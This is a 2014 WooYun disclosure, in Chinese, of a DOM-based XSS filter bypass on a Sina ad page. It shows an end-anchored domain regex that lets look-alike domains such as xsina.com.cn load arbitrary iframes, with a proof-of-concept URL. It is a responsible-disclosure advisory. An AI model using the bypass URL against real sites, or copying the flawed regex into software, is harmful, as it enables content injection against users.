当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062354

漏洞标题:新浪某界面dom型xss(三)(正则表达式错误导致再次绕过)

相关厂商:新浪

漏洞作者: 香草

提交时间:2014-05-26 18:53

修复时间:2014-07-10 18:54

公开时间:2014-07-10 18:54

漏洞类型:xss跨站脚本攻击

危害等级:低

自评Rank:5

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-05-26: 细节已通知厂商并且等待厂商处理中
2014-05-26: 厂商已经确认,细节仅向厂商公开
2014-06-05: 细节向核心白帽子及相关领域专家公开
2014-06-15: 细节向普通白帽子公开
2014-06-25: 细节向实习白帽子公开
2014-07-10: 细节向公众公开

简要描述:

实在不好意思,今天打开看到终于修复了上次的问题,于是打开代码看看,很快就绕过了,同样是正则表达式的问题,看着比较有趣,所以我还是提交一下。

详细说明:

我们先来回顾下这个界面前两次的漏洞以及修复新浪的修复方案。
第一次 WooYun: 新浪某站参数过滤不严导致Dom型XSS漏洞
是在获取到url参数的时候做了一次

decodeURIComponent(ary[2])


这样一来双引号就被编码了
但是另外一处加载iframe的src同样存在问题
第二次绕过 WooYun: 新浪某界面dom型xss(二)
其中

function checkDomain(url, allowDomain) {
var reg = new RegExp('^(http|https):\\/\\/([^\\/\\?#]+\\.)*(' + allowDomain.join('|') + ')(\\/|\\?|#|$)');
return reg.test(url);
}


这个正则表达式错误的匹配\导致绕过过滤加载任意iframe。
过了好多天,我再次打开这个界面的时候,发现漏洞已经修复了。
修改后的代码如下:

var par = location.search.substr(1),
ary = par.split("${}");
var type = ary[0],
src = cleanUrl(sinaadToolkit.string.encodeHTML(decodeURIComponent(ary[1])), 'url'),
link = cleanUrl(sinaadToolkit.string.encodeHTML(sinaadToolkit.url.ensureURL(decodeURIComponent(ary[2]))), 'url'),
width = parseInt(ary[3], 10) + 'px',
height = parseInt(ary[4], 10) + 'px',
monitor = ary[5] ? sinaadToolkit.string.encodeHTML(decodeURIComponent(ary[5]).replace(/</g, '').replace(/>/g, '')) : '';
var srcAllowDomain = ['sina\\.com\\.cn','weibo\\.com','sinaimg\\.cn'],
urlAllowDomain = ['sina\\.com\\.cn','weibo\\.com','allyes\\.com', 'admaster\\.com\\.cn', 'miaozhen\\.com'];
function cleanUrl(url, type) {//作用是正确的识别href和host
var tmp = document.createElement('a');
tmp.href = url;
switch (type) {
case 'url':
return tmp.href;
case 'domain':
return tmp.host;
default:
return url;
}
}
function checkDomain(url, allowDomain) {
// var reg = new RegExp('^(http|https):\\/\\/([^\\/\\?#]+\\.)*(' + allowDomain.join('|') + ')(\\/|\\?|#|$)');
// return reg.test(url);//原来的检查方式
var domain = cleanUrl(url, 'domain'),//现在的检查方式
reg = new RegExp('(' + allowDomain.join('|')+')$');
return url ? reg.test(domain) : true;
}
if ((type === 'flash' || type === 'image' || type === 'adbox') && checkDomain(link, urlAllowDomain) && checkDomain(src, srcAllowDomain)) {
document.write(sinaadToolkit.ad.createHTML(
type,
src,
width,
height,
link,
monitor ? monitor.split('|') : []
));
}
window.blur();


这样的修复看似没有问题,我们用http://www.baidu.com\.sina.com.cn已经不能通过src检查了,因为通过
cleanUrl('http://www.baidu.com\.sina.com.cn', 'domain')后,会得到
www.baidu.com显然不能通过下面正则的匹配。我们再来看看这个正则:

reg = new RegExp('(' + allowDomain.join('|')+')$');
//其实就是
reg = new RegExp('(sina\.com\.cn|weibo\.com|sinaimg\.cn)$');


$符号限制了domain的结尾,但是没有限制开头,我们这样的链接同样的是可以匹配成功的

xsina.com.cn、xxxsina.com.cn、xweibo.com、xsinaimg.cn


因此我们同样可以加载任意以sina,weibo,sinaimg结尾的域名,当然我们可以任意注册这样的域名,在这里我就不注册了,别有用心的攻击者肯定是会注册的。
加载一个xsina.com.cn

http://d1.sina.com.cn/litong/zhitou/sinaads/release/pbv5.html?adbox${}http://xsina.com.cn/aaa.htm${}http://xxxsina.com.cn/${}1370${}750${}x\x22


1.jpg


漏洞证明:

加载xsina.com.cn

http://d1.sina.com.cn/litong/zhitou/sinaads/release/pbv5.html?adbox${}http://xsina.com.cn/aaa.htm${}http://xxxsina.com.cn/${}1370${}750${}x\x22


1.jpg

修复方案:

使用正确的正则

版权声明:转载请注明来源 香草@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:4

确认时间:2014-05-26 19:02

厂商回复:

再次表示关注新浪安全,继续联系开发进行修复处理

最新状态:

2014-05-26:再次表示感谢关注新浪安全,继续联系开发进行修复处理